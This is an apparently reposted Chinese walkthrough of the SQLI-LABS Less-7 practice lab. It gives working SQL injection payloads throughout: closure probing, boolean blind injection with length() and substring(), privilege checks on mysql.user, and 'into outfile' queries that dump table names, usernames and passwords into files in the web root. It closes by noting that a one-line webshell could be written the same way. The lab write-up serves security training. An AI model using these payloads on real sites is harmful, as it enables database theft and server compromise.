Less-7(GET-Dump into outfile-String)
打開Less-7頁面,可以看到頁面中間有一句Please input the ID as parameter with numeric value,那么先使用ID這個引數通過GET方式傳入一個數值,

確定注入點
注入陳述句:?id=1,可以看出沒有回顯查詢結果,

接著試一下?id=1',發現出錯了,但是并不回顯錯誤,也就是說我們無法從前端得知語法錯誤,這樣就無法確定閉合符號,

接著嘗試?id=1",看到沒有頁面顯示正常,那么SQL陳述句可能是使用雙引號進行閉合的,

使用注入陳述句:?id=1" --+看看是否能夠正常閉合并注釋,從下圖看出是沒有問題的,

接著嘗試注入陳述句?id=1" and 1=1 --+和?id=1" and 1=2 --+,發現注入第一條陳述句時頁面正常,注入第二條陳述句時居然也是正常的,說明之前的判斷有誤,

重新嘗試常用的閉合陳述句:
SQL陳述句原代碼:
'$id'
"$id"
('$id')
("$id")
(('id'))
閉合代碼:
1' #
1" #
1') #
") #
')) #
最后發現,本關使用的閉合陳述句為')),并且?id=1')) --+正常、?id=1')) and 1=1 --+正常、?id=1')) and 1=2 --+錯誤,由此判斷此處存在注入點,

確定資料
既然本關是沒有查詢結果回顯也不會顯示語法錯誤資訊,只能判斷出存在成功和錯誤兩種資訊,那么可以考慮使用布爾型盲注,通過前端顯示的是成功還是錯誤資訊來判斷注入的陳述句是否正確,
注入陳述句:?id=1')) and length((select database()))>5 --+,length()函式會回傳括號內的字串長度,例如length('abc')回傳3,表示字串長度為3,這樣上述陳述句就變成了查詢當前資料表是否存在id為1并且當前資料庫名長度是否大于5,而我們知道當前資料庫存在id為1的用戶,那么整個注入陳述句就可以直接用來判斷當前資料庫名的長度是否大于5,

從上圖中可以看出資料庫名的長度是大于5的,接著判斷是否當前資料庫名是否小于10,使用:?id=1')) and length((select database()))<10 --+,通過這種方式最終可以得出,當前資料庫名長度為8,

下一步判斷資料庫名是什么,使用注入陳述句:?id=1')) and substring((select database()),1,1)<'z' --+判斷當前資料庫名的第一個字符是否小于z,接著通過二分法不斷猜解,得出當前資料庫名第一個字符為s,通過此方法最終可以猜解出當前資料庫名,接下來的表名、列名、用戶名、密碼都可以使用此方法猜解得出,
outfile函式
不過根據這關主頁的提示,應該使用outfile函式,利用outfile函式在資料庫有寫權限的目錄寫入檔案,
要使用outfile函式寫檔案,需要先知道網站的路徑,雖然第七關沒有回顯,但是可以在第一關的回顯中使用@@datadir來獲取資料庫的存盤資料路徑,
補充:@@datadir獲取資料庫存盤資料路徑 ,@@basedir是MYSQL獲取安裝路徑
在第一關使用注入陳述句:?id=1' and 1=2 union select 1,2,@@datadir --+,拿到了資料的存盤路徑:/var/lib/mysql/,可以根據路徑判斷作業系統為Linux,在Linux下默認的網站路徑為/var/www/html,(但是這里通過作弊的方式得知SQLI-LABS Less-7靶場的路徑為/var/www/sqlilabs/Less-7)

確認當前用戶讀寫權限
MySQL是通過權限表來控制用戶對資料庫訪問的,權限表存放在mysql資料庫中,主要的權限表有以下幾個:user,db,host,table_priv,columns_priv和procs_priv,通常用戶資訊、修改用戶的密碼、洗掉用戶及分配權限等就是在mysql資料庫的user表中,(MySQL user表詳解)
注入陳述句:?id=1')) and (select count(*) from mysql.user)>0 --+,如果回顯正常,就是表示最高權限,

利用outfile寫入檔案確定當前資料庫名
注入陳述句:?id=1')) union select 1,2,database() into outfile '/var/www/sqlilabs/Less-7/1.txt' --+

雖然前端頁面報錯了,但是檔案已經寫入到/var/www/sqlilabs/Less-7/下,通過URL可以訪問:

這樣就得到當前資料庫名security,
利用outfile寫入檔案確定當前資料庫名
注入陳述句:?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile '/var/www/sqlilabs/Less-7/2.txt' --+

利用outfile寫入檔案確定users表中的列名
注入陳述句:?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() into outfile '/var/www/sqlilabs/Less-7/3.txt' --+

利用outfile寫入檔案確定users表中的用戶名和密碼
注入陳述句:?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile '/var/www/sqlilabs/Less-7/4.txt' --+

到此,就得到了當前表中所有的用戶名和密碼,既然可以寫入檔案,那么可以直接寫入一句話木馬(后續補充),
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/505324.html
標籤:其他
